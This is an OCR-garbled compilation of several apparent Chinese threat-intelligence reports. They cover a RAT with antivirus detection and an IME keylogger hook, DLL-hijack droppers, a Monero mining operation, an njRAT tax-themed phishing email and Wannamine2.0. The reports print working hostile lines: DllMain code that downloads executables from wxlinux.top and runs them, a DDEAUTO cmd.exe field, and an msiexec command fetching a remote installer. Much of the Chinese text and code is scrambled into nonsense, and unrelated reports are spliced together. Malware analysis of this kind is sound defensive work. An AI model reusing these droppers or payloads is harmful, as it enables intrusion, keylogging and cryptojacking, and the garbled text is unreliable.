) ->h_addr_list; /1 ipWtiE
();
= LoadLibra .-—(ahs232011 _8);
= A s{v4, aConnect);
putchar(48);
if ( ((int (_std DWORD, - igned int)) )(*((_DworD *) +42), & »:AB) == SL )N
/1 EERRSSE:
return 8;

RINERRS ARG, NStIBEAE SRS sH TEM:

*((_BYTE ¥) +181) = 1;
*((_DWORD *)t L + 41) = stub_BeginThread(e, @, (int)sub_100024D9, (int) , 8, @, 1);//
/7 BIRER )\ class1 $i2EBALSRMEE BN
SR e Bpfnieee2aD9, & A thistEs
putchar(48);

SERSRELENR, SEIABITETEERESE, SRGERR O, cpu i, K
FEAEDHE, AESENEDHE, ENROERINHIEEETSERIHE
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memcpy (&v15, &ata, @x32u);
GetSystemInfo(&SystemInfo);
vil = SystemInfo.dwNumberOfProcessors; /7 RRRBE L

v12 = sub_10013AD0(); /! FBcpuliE

statex = Ox20;

kernel32.dll = LoadLibraryA(aKernel32D011 39);

GlobalMemoryStatus = GetProcAddress(kernel32.dll, aGlobalmemoryst);
((void (__stdcall *)(int *))GlobalMemoryStatus)(&statex);// RRIATFES
vi3 = (v22 >> 20) + 1; /7 AFERED

v16 = sub_10014511();

excTime_1 = excTime;

avSoftInfo = (const char *)sub_10013B26(); // mMIETDETRIRIORE
strcpy(&avSoftinfo_1, avSoftiInfo); // BRFNFRFHERERE
return sub_10003018((char *)this, &SendBuffer, @x19Cu);
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if ( Traversalprocess(a36@trayExe) ) // 360tray.exe

OutputDebugStringA(" R M360ZTLP L T");

memset(a360trayExe, @, 4u);

IstrcatA((LPSTR)&unk_10033600, a36@_0@);

1strcatA((LPSTR)&unk_10033600, asc_10020800);)// MNREMMLIFHIEZBIEMEIZ Bouffer

if ( Traversalprocess(aAvpExe) ) // avp.exe

memset(aAvpExe, @, 4u);
lstrcatA((LPSTR)&unk_10033600, asc_1002DBD4);
IstrcatA((LPSTR)&unk_1003360@, asc_1002DBDC);

if ( Traversalprocess(aKvmonxpExe) ) // KvMonXP.exe

{
memset(aKvmonxpExe, @, 4u);
IstrcatA((LPSTR)&unk_10033600@, asc_1002DBEQ);
lstrcatA((LPSTR)&unk_10033600, asc_1002DBES);

if ( Traversalprocess(aRavmondExe) ) // RavMonD.exe
memset(aRavmondExe, @, 4u);
1strcatA((LPSTR)&unk_10033600, asc_10@2DBEC);
IstrcatA((LPSTR)&unk_10033600, asc_1002DBF4);

if ( Traversalprocess(a36@sdExe) ) // 36@sd.exe
memset(a360sdExe, 0, 4u);
IstrcatA((LPSTR)&unk_10033600, a36@);
1strcatA((LPSTR)&unk_10033600, asc_10020C00);

if ( Traversalprocess(aMcshieldExe) ) // Mcshield.exe
memset(aMcshieldExe, @, 4u);
lstrcatA((LPSTR)&unk_10033600, asc_1002DCe4);
lstrcatA((LPSTR)&unk_100336@0, asc_1002DCeC);

if ( Traversalprocess(aEguiExe) ) // egui.exe
memset(aEguiExe, @, 4u);
IstrcatA((LPSTR)&unk_10033600, aNod32);
1strcatA((LPSTR)&unk_10033600, asc_1002DC18);

if ( Traversalprocess(aKxetrayExe) ) // kxetray.exe

B AR GRS
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for ( i = Datalen; i >= TotallLen; i -= Totallen )

{
for ( j =0; j < 15; ++j )

puts(a@_13);
Sleep(0);
v9 = send(v5[42], SendBuffer, TotallLen, @);
Sleep(@);
if (ve>0)
break;

}
if ( j == 15 )
return -1;
v8 += v9;
SendBuffer += Totallen;
Sleep(0);
Sleep(@xAu);

}
if ( (signed int)i > @ )

for ( k = 0; k < 15; ++k )
{
v9 = send(v5[42], SendBuffer, i, @);
if (ve>0)
break;

¥

if ( k == 15)
return -1;

v8 += v9;

IREEFEWT, ARCREEWMALE

ImmGetContext = GetProcAddress(IMM32_dll, aImmgetcontext);

ImmGetCompositionStringd = GetProcAddress(IMM32_d11, almmgetcomposit);

ImmReleaseContext = GetProcAddress(IMM32 dll, aImmreleasecont);

CallNextHookEx = GetProcAddress(user32_dll, aCallnexthookex);

vl? = ((int {_ stdcall *)(_DWORD, int, int, int))CallNextHookEx)(*({_DWORD *)g_MemMapping + 1), code, wParam, 1Param);

GetKeyNameTextd = GetProcAddress(user32_dll, aGetkeynametext);

1pMSG = (int *)1Param;

if ( code || 1pMSG[1] != WM_IME_COMPOSITION &% 1pnMsG[1] != exie2 || g_tickcount == 1pmsc[4] )
return v1i7;

g_tickcount = 1pMSG[4];

if ( 1pMSG[1] == WM_IME_COMPOSITION && 1pMSG[3] & GCS_RESULTSTR )

i

hwnd = *1pMsG;
immHandle = ((int (_ stdcall *)(int))ImmGetContext}(*1pM56);
v7? = ((int (__stdcall *)(int, signed int, _DWORD, _DWORD))ImmGetCompositionStringA)(immHandle, ©x800, @, ©) + 2;
memset((char *)g_MemMapping + 1297, @, @x80u);
((void (__stdcall *)(int, signed int, char *, int))ImmGetCompositionStringA)(
immHandle,
20438,
(char *)}g_MemMapping + 1297,
v7); /! REERFHMNEF
((void (__stdcall *)(int, int))ImmReleaseContext)(hwnd, immHandle);
sub_1088D3CS( (LPCSTR)g_MemMapping + 1297);
1

BRI TR E R RFREERTG
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(char *)g_MemMapping + 13,

GENERIC_WRITE,

FILE_SHARE_WRITE,

0,

OPEN_ALMWAYS,

FILE_ATTRIBUTE_NORMAL,

0); /1 $TFF . dat32fF

FileSize( , 8);
< ex3zaaeae )

vinter(hFile, @, @, 2u);
"1*( );

= operator new( b H

fop ( = 8.

s lsicoed inty o ##1 )

Ise[i] -

ing[i] ~ @x62; l // BERBSAHESENE ML

RIS tepip ISR a8t
TXIRIOTIAE, RFEIE, SIAEXE

))( » ] » &vig, @);
c);

TEN, SERWEEEER, SRITHE, AEREGSH

B __53\1‘5' U\—Fﬁ 1 |':|:|'1§7k = AR ijJ‘lM

< id Thiee

0x1 I EE R F 2 s B UAR RIS A2 25 a)

0x10 R AR BRI

Ox1A RGBSR

Ox1F AN SIRICRAI Y

0x22 SR

0x23 Bh R AR ERERIEEIRS, DIRERISEHE
0x28 S5/ cmd PUTRSIRSESIEERIM S

0x2A HE TR AR

0x2B wilsISELES

0x2c¢ BT AR SS SRR EIRGIEE url & pe S4FHHT
0x2E iERESKRE

0x30 JEF shellexcuteA BoiESEIHTE

0x35 BHEEEUAREESEHEERFE
0x86 GBIz windows AP

0x85 REISE IMEEE

IBESIHh

1 AR
i 360 BBHERPONASIRA TS

o BAIREREI— A I EE RIS :

A MD5

65b148ac604dfdf66250a8933daa4a29
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PDB E&12  [E\BRAY\Projects\Dllhijack\Dllhijack\Release\Dllhijack.pdb
Z LA Z N RIER, 2F /9% DLL INEACLEE MessageBox BREL:

1BOOL _ stdcall D11Main(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
2{

switch ( fdwReason )
{
case Qu:
case lu:
case 2u:
case 3u:
sub_10001000("http://wxlinux.top:520/weilai.exe");
sub_10001000("http://wxlinux.top:520/weilai32.exe");
1 Sleep(@x3E8u);
12 ShellExecuteA(®, "open”, "c:\\qwa.exe", @, @, 5);

13 E : onen. o \\yez axes 0.8 9
14 Hessadeﬂoxﬁ(a, “DLL_PROCESS_DETACH", "Information”, @x40u);
15

El
16 default:
17 return 1;

}

o
9 return 1;
e

}

® WO S W

[

Z AR RYSmiERSE)/9: 2017 F 6 B 23 H:

Time/Date Stamp Converter (GMT) g

Encoded oK '
R |
Decoded

ﬁ 6:38:24 5| 017F 68238 :]]

LA/t =N
360 EMBIRPCRIEIZNEAEARY PDB ERER4REEXEEE] T 600 SANEREAR (MD5
I0CT) . BIDTEERIXMWEREANZEFBER TR, FREEFMEARR:
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285 BRER sz Foh
%] 0c94a321527f9bec1f41c345a790f469_test64.dll 2018/5/25 13:25 ~ RREATR 92K8
%, 4de25f1b5949323607289d60bedccesf test6d.dil 2018/5/25 8:51 frdacivis 23 92K
%) 38¢4d0694ba8e5d42676182a2382f614_$ryt2xh8.dll 2018/5/25 6:47 EERFTR 92K8
%, 8249626d709b5fe188c456a532b61ba9_test86.dIl 2018/5/24 20:40  FUBRFTR 7848
%) Bed2ad684ade8784d69a00607442c02d _test64.dll 2018/5/24 20:40  RBRETR 92 K8
%) 6d73d12c0f072d997¢96151625e06ec0_test86.dll 2018/5/24 14:18 WEEFSR 78 K8
%) 14acc7c34d452eabff73197¢€9764093 test64.dll 2018/5/24 1418 WERFTR 928
%) 4d7abeblaeedachfb322d1fe9e5518d5 test64.dll 2018/5/24 11:19  ERFIR 92 KB
%] 2e147efd5c9738451f63e1cad1e2c16f test86.dll 2018/5/24 11:17  AUERETR 78 K8
(%) 24f9f7edd26dc27d2a5fc2103e845222_test64.dll 2018/5/24 11:17  UEEECR 92K8
1%} 1693¢1077a7527d213c832¢5321bacd0_test86.dll 2018/5/2316:14  FEERFSR 78 K8
7 9eTele9ed2241288fc3a43605453b12_test86.dll 2018/5/23 1553 RBRFTR 78 KB
%) e565dd6d6f850cf9a9741276c8b5985e _test86.dll 2018/5/23 14:43 RESFYR 78 KB
%, 8457ab0f0bdddalde2093fdec7f2984 test6d.dll 2018/5/23 14:43 REESTE 92K
%] 1391¢757248b30082df243b31eIbe7f0_test86.dIl 2018/5/23 1439 RERFIR 78 K8
%) 378e5d520bSb38e7c9435e5ba0fab254 test86.dll 2018/5/2313:02 WAERFIR 78 KB
% 0266bdbSaedef2bfcec325c105¢0e3 test6d.dil 2018/5/2313:03 REEATR 928
! % 72e607181807056d1dc689262¢1222b_test86.dll 2018/5/2311:53 RESFTR 78 K8
(%) 25bd61c652a8cb0e264¢957b332fd350 test86.dll 2018/5/2310:58  HEEFIR 78 KB
) 263fc05398cdca35022¢49820e91476f tests4.dil 2018/5/2310:58  RERFTR 92 KB
%) 7194184ebaa23ae54228dd0faaab0405_test86.dll 2018/5/23 9:11 REERTR 78 K8
%) a039f2fdac21ca5add32a0d4c08bd4f5_testod.dil 2018/5/22 20:51 ERETRE 92KB
(%] ad0fd28354ec7c2ff033¢06¢87fad462_test64.dll 2018/5/2220:29  REREFTR 92KB
%) 49bd327d235b66f0bf71780f44202d48 test64.dIl 2018/5/2220:13 RARFIR 92 K8
% 3b645ad913df27648af76317ceb52608 _test86.dll 2018/5/2216:30 ERFR 78 K8
%] 3bf18e41b2aceb8635dd3b49810b7e94 test6d.dll 2018/5/22 16:30 mEESTR 92KB
%] 349421e130b411fd3d74acadf1da8df7 test6a.dll 2018/5/2211:09 WBEFIRE 928
%, c2befdlc3aef2e2cdf07ec7a654c551a test86.dll 2018/5/2211:09  SAERFTR 78 KB
) £20e714854a765caf2c6116834844cbf test64.dIl 2018/5/2019:13  mERETR 92 ke
| 1dc0397eddedOcc835a754e7efdfbca_16542.file 2018/5/19 4:43 FILE X% 79K8
__| 251f83d0aa81e18ef03cad1! 79.16529.file 2018/5/19 3:49 FILE 3764 79 K8
% 3be8c33ddef5116cd494196883bb141a test86.dll 2018/5/17 21:54  RBEFIR 79 KB
%, ad0f7ee505f5cbe6d52d0f0d9dc7fe66_shellx86.dll 2018/5/17 18:47 RERSYR 78 KB
] 06737€92c8304d16720ec62b29ab285¢_test86.dll 2018/5/17 1208 WEESTR 187 K8
__| 03fdadada0921316¢d86e3cd61f98b30_9106.file 2018/5/1710:11  FILE X¢% 79 K8
|| d17b63854ecf144875e669f7266b186_21272.file 2018/5/17 1:53 FILE X4 798
| d402a924705a8a8%faeb951014e6ecad_25477 file 2018/5/16 22:35  FILE X4 79 KB
%) 78¢6cae86235800ffb271218198c043_rhhrpe.dil 2018/5/16 21:14 AR R 156 K8
%, 3eabeb942b092220161035562a54bb06_ggsgza.dil 2018/5/16 21:13 REESSR 78 K8
%) 58bf9e5220e8673¢b72213937505d72¢_qodngp.dlf 2018/5/16 21:13  WBEFTR 92K8
%) 784d317d25e8957577483£22720a53e1 test86.dll 2018/5/14 2:16 SERFTR 78 K8

— MRS TRER

1BOOL __ stdcall D11Main(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
2i{
3 DWORD v3; // ebx

int v4; // ebx

int v5; // ebx

fopen("C:\\fuck.txt”, "w+");

4
5

6

7| v3 = fdwReason;

8

9| IfF (3 [|(va=v3-1)==0 || (vVS5=v4 -1)==8 || v5==1)

11 sub_180001008();

12 Sleep(1000u);

13 ShellExecuteA(@i64, "open”, "c:\\nsb.exe", @i64, @i64, 5);

14 MessageBoxA(@i64, "DLL_PROCESS_DETACH", "Information", @x4@u);
1s| 3}

16/ return 1;
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FHR(EEMEMNFECENEBEARFMNBHIE)

:0x000130d4 ==> \Projects\Dllhijack\Dllhijack\x64 \Release\D1lhijack.pdb
:0x00012fe8 ==> http: 791 j
:0x00012fa0 == c:hwax, exe

:0x00012£d8 ==> c:\eda.exe

FiHR (EEMEMHECENERF LT MERE)

:0x00010a5¢ ==> \Projects\D1llhijack\Dllhijack\Release\Dllhijack.pdb

0200010970 ==> http://wxlinux. top:520/weilai. exe

:0x000109a0 ==> http://wxlinux. top:520/weilai32. exe

:0x00010964 ==> c:\qwa. exe

:0x00010994 ==> c:\wez.exe
e

Fitar (ERMERFITE 0 A HE RI R R IETFLL)

: 0200013044 == WProjects\Dllhijack\D1llhijack\x64\Release\D1llhijack.pdb
:0x00012fe8 ==> http://182,18.8,127:899/16XES¥B2X51. exe

:0x00012fa0 ==> c:\16XEEXB2%81. exetp://182. 18. 8. 127:999/ 1 6XEEXB2%81. exe
:0x00012£d8 H
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1RIE 360 MBI RIS METRIMEESLT, JWIEEEH i3 a.wxkuangji.com
MUK EISREESEHE 2018 5 5 A 6 B, B RIRIZHESFEERIEA BT 7TRIEN
EREHRERON -

Friday, Jun 15, 2018
© a wxkuangii com!AccessCount: 63 707

s

J
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45e3WNMwGE LRwr 4% dVGS5 ga52 sGbNZ 0856 MY Ly P sMITTZVTMWE T qbGS £ywF qABS )9y a2 cRwEVD z THWF Bhebr ThFVpTpel
4Th2VtXhE8zDSqBYAPrBeN 8nGTsCMgTpD4 zFIpYES 266D jw86dct oz41 YImW2EL j X aBmviUoS52muTpi2EA jba#C2ZRug T
45EYyeDLYsTHKtHCBGyEp o HREP 1 ec ge KnRZuK1 YS qMSuTHAKAB1 R £XRwMLor Awln Y2T8 £aAAT4pHo 048 qSx qUl geViBe
4BAL2vRYpoaMoNF 1br i 4LTEQ186EM e g3BY tHi 21 ¥FX1 oBHCRW e TD2K389GE 1QkT sHi gj TwmzRo tul{ T dxRmDAohb6Q TiKY x|

SN

Hep— M HHREERR, UUTERE—BEH 5t

45e3WWMWGPLRWrAWdVG559a525GbN209S6gMYLyQPsMII72VIMwE7qbGSfywFqAB3j9ya2cRwWEVDzJHMFBhebr ThbFVp7pel Q Look

Your Total Hashrate History for <« 30 » days:

250k

200k

150k

100k

50k

May 27 May 30 Jun 2 Jun S Jun 8 Jun 11 Jun 14 Jun 17 Jun 20 Jun 23
2018

@ Total Hash Rate: (24h) 86.79 KH/s (12h) 88.46 KH/s (1h) 88.30 KH/s (10m) 95.20 KH/s
M Pending Balance: 0.056356330674 XMR
S Free Payout Threshold: <« 0.500 XMR -

Manual payments are disabled for your account
@ Total Paid: 882.198557080908 XMR Payment History

HZBrI, LULEBEIHSH R 882 XMR, N EHEfbsEIEZ 1000 XMR, BEEHH
B9 XMR/IEMIMETLIES, ZBIKEESA B NHIESE Ee B ART:
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(R XMR/[IBF Monero Fmais
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EMHFRE--njRAT RIRESTIRESRIRS
{E%: 360CERT

JRSCEIR: https://www.anquanke.com/post/id/149654
BIS

IEH, 360CERT milF] "njRAT" SRIKEEIRMAIFTRTFIIEEER, ZANDRIEE
FA.NET {8205, FEANFRTHIEAR TR B BRENISLTE AR,

njRAT X#R Bladabindi, 22— MEHCHITIEADER, HTASEBZY, KARK
TR, EzEKEERAETES, HNSEHUTER:

TR ERINEEE

R AR

KIBRE, M58 anti reverse

ERFARIIEFE

BEEZAEE (FRIge

EREFEREM (FrIeE

tEsh, FAVERLRNBERRENIRET, KIBEKRIGEITH, WABEE S HEE T RIS
BIAMHERTEEY, BERYNIRGT, MSFI, RBABEREIE S ERLIEE
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Received: from 185.230.162.13 by s602e.ik2.com (IK2 SMTP Server); Mon, 12 Feb 2018 21:17:32 +0000
Reply-To: r_marshall3o@
From: Bob Bright
To: cduffus@kwhcpa.com
Subject: As Usual. Tax Information.
Date: 12 Feb 2018 13:17:33 B
Message-ID: 8021213 376B83D3A6858@monclaer. com>
MIME-Version: 1.0
Content-Type: multipart/mixed;

boundary="----=_NextPart 12_8F678AFE.FAB64GDE"
X-SF-RX-Return-Path: <bobright monclaer. com>
X-SF-HELO-Domain: slot®.monclaer.com
X-SF-Originating-IP: 185.230.162.13
X-Rejection-Reason: 17 - infected with the virus CVE1711882

This is a multi-part message in MIME format.
- NextPart_008_0012 SE678AEE.FOB6A6DS

Content-Type: text/plain;
charset= F-8"

Content-Transfer-Encoding: quoted-printable

Hi,

=20

In Kelly=E2=80=99s absence(My wife), I decided to send you our tax refund=
=20

analysus, She insisted I send you now so we can prepare all=2@

necessary document before she get back, please check right now=20

and get back to me.

=20

Regards.

Bob Bright.
Sales Development Representative, Monclaer.com
669-273
112_BE67BAEE.FOB646D8
Content-Type: application/msword; name="My Tax Review.doc"
Content-Transfer-Encoding: baseb4
Content-Disposition: attachment; filenamék"ﬂy Tax Review.doc"

BARGH:

DDE 2 Inter-Process Communication (HFEEIE(S-1PC) #lHI FR—MIREEIIRE, &REA
LUB#ARI 1987 £, BaLAS— /1 HEMMET Microsoft Windows 2R BIIEEAI SRR —

KNSR (DDE) $§8. 7Foffice 8T, BRTIBRE, &=z4h. DDE thE—MERN
BARIBET.

DDE ERBrIIETTA, 2\ DDEAUTO 395, fi4n:

{DDEAUTO c:\windows\system32\cmd.exe “/k calc.exe” }
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)

5 Powershell &, RILUHTIZIESM FEL, TRNDEDERN, TEGSITE. BN

DDE B9fekatt, REXKEERE 12 B, 77 office FZEF T DDE ¥,

RIREFARZR— excel 34, 5 KEHEIT DDE #MY3AAT msiexec IfE FEHFHEITREEAT.

TRAR = i Siz=r oF == B =
a1 -
1 JEnabl lick oad i
1
Micrascht Excel ¥ |

HIERE S AT RS, i

b S R e e TR

1
12 RN HENH)

“REF!

SUM * " X¥ 5 =msiexec|” /q /i http://calogistics. sa/meno, nsi’ A0
A B C D E F G H I ] K L V] N O P
Enable content to click yes to load file

soft Exc ==

o %gzgﬁ ? ‘. "SE hH— 1t EEE R TN RIS RO S ENN T RBRSTIRT DT Rl CRIEESLIFNEORH, ARE 2" tidd TIFgadnaEiEs.

~a2m | [ F0 |

BEHRITAISUE S memo.msi 324, fEIGRY B RN N —EHEfiztT, EEEE—
Base64 JriBHY CHRS, HMBEXNNIEISERAERESE, £ Invoke(IlF. E1TEEHE
IXFEM—ER Payload BHTINEIETT, SEMXER, HEREERFIRIET.

B T

1. 1B DDE YT T EEEEHMHRRE

“C:\Users\ADMINI~1\AppData\Loca\Temp\mome.msi” #17,
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M’icrosoft Excel

Remote data not accessible.
4% To access this data Excel needs to start another application. Some legitimate applications on your computer could be
"0} used maliciously to spread viruses or damage your computer. Only dick Yes if you trust the source of this workbook
=== and you want to let the workbook start the application.

Start application 'CMD.EXE'?
Yes

2. 1ElmBd BRGEREN F—EHAIETT.

BE cleea53bZe91e3dBadScBchlbl d9a607T.

B |EEi| =e | imiss | s |

HE IcleeaESbZeEllESdBadEn:Bcblbld‘ElaEuDT. exe

MR EARERE Cexel

b cleeaS3bZed] e3d5adS cBeblbl d9aR0T. exe

3. fEEIET BASEG4 DAY CHAIEIISIEIR MEFEE BB RRNEUEREINEHENT
—E#m.

static void Main()
iry
IntPtr fResource = FindResource(new IntPtr(0), new IntPtr(105), new IntPtr(23));
uint sResource = SizeofResource(new IntPtr(0), fResource);

IntPtr 1Resource = LoadResource (new IntPtr(0), fResource);
IntPtr dResource = LockResource (1Resource);

Szm30 = new byte[sResource];
System Funtime. InteropServices. Marshal. Copy (dResource, Szm30, 0, System Convert.Tolnt32(sResource));
SzmS0 = doFqaFh (ConvertFromBmp (Byte?Image (SzmS0) )

System. Threading. Thread thr = new System Threading. Thread (vIWBhZMznsIOwr iT) ;
thr. Start () ;

catch
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L EHWERIR: 360Netlab

10C

filename/url hash
apache202[.]duckdns[.Jorg:7752 N/A

hxxp://calogistics[.]ga/memo[.Jms
N/A
i

ADEBA3637E2E6127AAOCDAS6A9EE406F59B64CA
bill_06 13 2018.xls

B

EBO2F1A546C9ADD107D0OF3AD85726387A742F20
memo.msi

4
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hxxp://calogistics/
https://p403.ssl.qhimgs4.com/t015a253f3484933bff.jpeg
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Binary.exe

payload.bin

adderalldll.dll

Stub.exe

E99F9426B2D1239FFEC43AE4371B6738C5897D81

51F361FA7F492E560F31824FB9836CD59B67D37C

CCA96E199E144EAAA2E4AC7300081E36BDFBOBBO

B

2E7D6F6B4EEAGTEE1334CECC539E5F9298179EA2

B4

NRAT XM ADREEBZE, EN CHEREME — AR EERDHMBRNNELE, Bitia

REIHRE T E T LARRIRTERIFRE, FTLUAFER%FRIRRIASEERRW_ EAFERGEER, Fll)E

STEUUEREHTILR:

1. B&

2, HEFERHEEY

3. EEICR

4. B USB iR

5. FIFREN S

6. imiEisH

7. M HOST
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I N =
8. EEHMINZ RS

10, RESRE

11, ENRERHEET

B MES SRR AINZE AR R EHTRE T, ENCTREEERA IR, TS
TEISENERA T LARIIHIT, AT ERNXATae R —REmIiE, FEECEERGE, il
WREEAZEKZENESE 2 B 24 BFFHATES K, FEBRIhIRS SMMHSTIES
RE, 1RIE 360 REXM-KEIBIREAMEXERRE, Bk EANFENITENZEIZ
KR,

T2

1. BAERKEETTHEERE AT B a & PRI A SRAIE RS,

2, TEZIE "360 ReP1" HRIFMBIHIFFRRNSHENRERIEGEH.

AITElZE

2018-06-26 360CERT SRk TR S

SE %

1. https://www.proofpoint.com/us/threat-insight/post/tax-themed-email-campai

gns-steal-credentials-spread-banking-trojans-rats-ransomware
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X FIZHER Wannamine2.0 IR SR

EE: <21
B3R [RE25] httpsy/mp.weixin.gg.com/s/ZCHMFI7MeZcb-sMUp8Q79g

A8 A\
BsT)1 g’d

Wannamine2.0 275 NSA 1HXH) EternalBlue ( " kiEZIE " ) RREHITE
BINEZE 1RH, REZRECESTA, BERMAER LSRN ARZIRE,
FEXRZRFESAMERNTHEI, BFEAINZERNL2RMBIRAEN, FiHiTT
BEREAZ.

ST win32 FERSHARREBADNE , RIEAISRDHTHIE x64 RFHIRRA.

e v
: - ( e 2%
b & - ] i ' th_ ‘‘ 2 2 n " > )
F d we . - = :
A
!
A

ASHFiE

Wannamine2.0 & wannamine S<RHIZF, iZ iR 2 (5 NSA &Ry eternalblue
i A TEE + IIERERR+ 128 KT, —1IFR$T ms17-010 &R+ T RN B4R REB
R, XTFREPFEE ms17-010 mREEMS, BEAY BRI,

IZIZH ARG ATHRERSTREER, FEEERERINEHKEIEIR EnrollCertXaml.dll
. B MS17-010 CKEZER) IRRETER, EREFIAEREFERN NSA TEE
eternalblue 1 doublepuls, B 2017 FEFELAMATHI NSA TES, ERF1 C&CiH
ITEEESmOMENRRIR, TERRAESHEIIZM,
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THRZASEERMETSE:

EnroliCertXaml.dll

®

spoolsv.exe

x86.dIl/x64.d

@ li{payload)

spoolsv.exe(DoublePulsar)

-+

svchost.exe

- WESE

!

®

@]

SHEnroliCertXaml dilb
BRIEEnroliCertXaml.dil
TR |, BEhspoolsvexe

|

HalPluginsServices.dll

(27 TI8E )

R RFHDHT Spoolsv.exe (6441) , B

c\\windows\\SpeechsTracing\\Spoolsv.exe
BTSN EF RSN EREB D H TEIFMRIDT.
Thee: HRERIMEREEN 445 im0, HEsIRMERHITIG.
@ BIHBESMNER

@ IEMER—: 350 svchost.exe > stagel.txt

d B

(c\\windows\\SpeechsTracing\\Microsoft\\svchost.exe )

® WEMER—: [Bsfspoolsv.exe >stage2.txt
(c\\windows\\SpeechsTracing\\Microsoft\\spoolsv.exe )

SR

-8
®

E#ilEnroliCertXami dll
BEEEnroliCertXami dil
FRERS , Baispoolsv.exe

5
®

HA Main g5, CIEZERE{F5175396-40C2-0218-278D6EE}
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0000200000002 0CROIOIOORIBSTRBOS

CB

00

00
FF

00
00

00

pusn rox
sub rsp,1iE0
mov rax,qword ptr
XOor rax,rsp
mov qword ptr ss:
Tea rcx,qword ptr

€&1 qword ptr ds:

mov ecx,202
lea rdx,qword ptr

Ea¥Y qword ptr ds:

lea rcx,qword ptr

€aFl gword ptr ds:

lea rcx,qword ptr

€a¥¥ gword ptr ds:

lea rcx,qword ptr

€&8¥¥ qword ptr ds:

Jea rs8 qnord ptr
mov edx 1

XOr ecx,ecx

call gword ptr ds:
mov ribx,rax

call qhord ptr ds:
cmp eax,

sete al

test rbx,rbx

je spoolsv.140008B8F

test al,al

je spoolsv.140008BB7

mov roxX.rix

ds: [1400731C8]

Ersp+1D0f, rax
ds: [140008AEQ]
[<&SetunhandledexceptionFilters]

ss:frsp+303

[<&WSAStartup>]

ds: [140078528]
[<&Rt1InitializeCriticalSections)
ds: [140078550]1
[<@Rt1InitializeCriticalSection>]
ds: [140078500]
{<&Rt1InitializeCriticalSectionx]
ds: [140063E50]

[<&CreateMutexAStubx>]
[<&GetLastErrorsStub>]

1t:0000000140008B5D spoolsv.exe: $8B5D #7F5D

mir s | wimre | wamms | e | wmis |

140053070 <spoolsv.&CreateMutexAStub>]=<kernel3z.CreateMutexAStub>

60 w1 | - BT |

S5

ASCII

000140063E50
000140063E60
1000140063E70

7B 46 35 31
32 31 38 2D
5B 49 4E 46

37 3553339
32 37 38
5D 20 4D 75

36 2D
44136 45
74 65

34 30(43
45 7D |00
78 0D |0A

32 2D 30
00 00 00
0C 00 00

{F51?5396-40C2—0
218-278DEEE}. .
[INF] Mutex.....

spoolsv. 000000

spoolsv. 000000
"{F5175396-40C
e

et

<@RtICriticals

spoolsv. 000000(

| =

40063E50 "{F5175396—40c2 oz

Al mEFru
RAX  000000000D00000D
| REBX  00D0000140077D88
RCX  0000000000000000
RDX  00D0DD0DD0DD0D00L
REP  0D0D00000000000D
RSP 000DDODD0D12FD30
RSI  0D0DDOOD0D00D00D
RDI  000D000140077D90
0000000 | gs  0DDODOD140063E50
R2  0D0DDOODODOODOS 4
R10  0DCDDOODODDODD2A
rg:"{Fs |R1l  0000000000324CED
R12  000DDOODODO0D00D
R13  0D0DDOOD0D00D00D
R14  000DD0OOODOOD0OOD
R15  0D0DDOOOODOODDOD
RIP  00D00000140008B5D
RFLAGS  0000000000000246
ZF1 PF1 AFO
LILIEW\ (54 fastcall)
1: rcx 0000DDODDO0DOD0O
2: rdx 000000000000000%
3: r8 000000014001
4: rs 0000000000000054

1 1

0000000000000000
0000000000000000
00610062006F006C
0070006D0043006C

0| 0000000002020202 |

5] 0000000140077D88 | spoolisv. 000000014007‘
£|0000000000000000

vl =
u

{

¥

u3

CreateMutexsn{BiGy,

GetLastError{}) ==
if ( tud )

goto LABEL_4;
if ( vl )

ReleaseMutex{v@);
CloseHandle{v@);
LABEL 4:
sub_1486088068{"[INF] Hutex\rin");
return sub 148817C58({unsigned

GetTlcanunt(},

while { GetTickCount({}

InitializeCriticalSection{&stru_1480878558);
In1t131129Er1t1calSectlun(&5tru_1uBB?ESBB),

"{F5175396-48C2-8218-278DGEE}"")

83;

__inta4)dul * ua);

InitializeCriticalSection{&CriticalSection)};
InitializeCriticalSection(&stru_14080785C8);

- ud £ B=Zn4CB8A )

It #EZHY CreateThread B EZRFERITHT .

1. sub 1400067B0 Ziz

ThRE: AEEH C\\windows\\System32\\EnrollCertXaml.dll, BERFENZRFTFFL
e c:\\windows\\SpeechsTracing\\}SZE?SZﬁZ;E

c\\windows\\SpeechsTracing\\Microsoft, %A

280

InitializefriticalSection(&stru_1488785a0);

CieateThread(@isk, Bi64, sub_1408867B0, Biéh, 0, Biad);

/CreateThread(@i6y, 8i64, (LPTHREAD _START_ROUTINE)Sub_14888C8CH, Bi6h4, B, Bi6u);
[ Sleep{Bx3EBu)!
| createThread(®i64, @i64, (LPTHREAD START ROUTINE)sub_14808B558, Gi64, 8, 0i64);
| CreateThread(Pi64, Bi64, sub_14880A040, Bick, B, BiG4);

\CreateThread{@i6k, Bi64, sub_14088DD70, Bidh, 0, Bidk);

h(b:teThrea {(Bi64, Bi64, sub_14@88BCF10, Aiak, A, BiG4);

CreateThread{@is4, @i64, sub_14A887F108, @ik, 0, Biad);
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aFE,

BRUBBEY

ss:[rsp+o7oas];rsi
ss: [rsp+970B0],rdi
ptr ds:[<__security_cookies]

mov qword ptr
mov qword ptr
mov rax,qword
XOor rax,rsp
mov gqword ptr
xor edx,edx
mov r8d,104
1ea rcx,qword

09
0g
00

00 ss5: [rbp+96F60] ,rax

00 ptr ss:[rbp+80]

E8 2B 26 03 00 il <spoo1sv.sub_140038£4o:-

BA 04 01 00 0O mov edx,104

48 8D 8D 80 00 00 00 lea rcx, qword ptr ss:[rbp+80]

FF 15 11 €8 04 00 | GEIT qword pEr “ds: [<&GetwindowsDirectoryas]
33 D2 xor edx, edx

41 B8 04 01 00 00 mov r8d,104

48 8D 8D DO 05 00 00|lea rcx,qword ptr ss:[rbp+5D0]

E2 05 26 02 00 <spoolsv.sub_140028E40>

4C 8D 85 80 OO0 00 00| 1lea rs8,qword ptr ss:[rbp+80]

48 8D 15 17 D3 05 00| lea rdx gword ptr ds:[<aSSystem32Enrolx]
48 8D rcx,qword ptr ss:[rbp+5D0]

ES 3B <spoolsv.sub_140006190>

33 D2 edx, edx

41 B8 red,104

48 8D rcx,gword ptr ss: [rbp+900]

E8 D7 Bl <spoolsv.sub_140028E40>

4c r8,qword ptr ss:[rbp+80

48 rdx,qword ptr ds:[<asSpeechstracins]
48 rcx,qword ptr ss: [rbp+9003

¢ <spoolsy.sub_140006190>
33 xor edx,edx
41 04 01 00 00 mov r&d,104
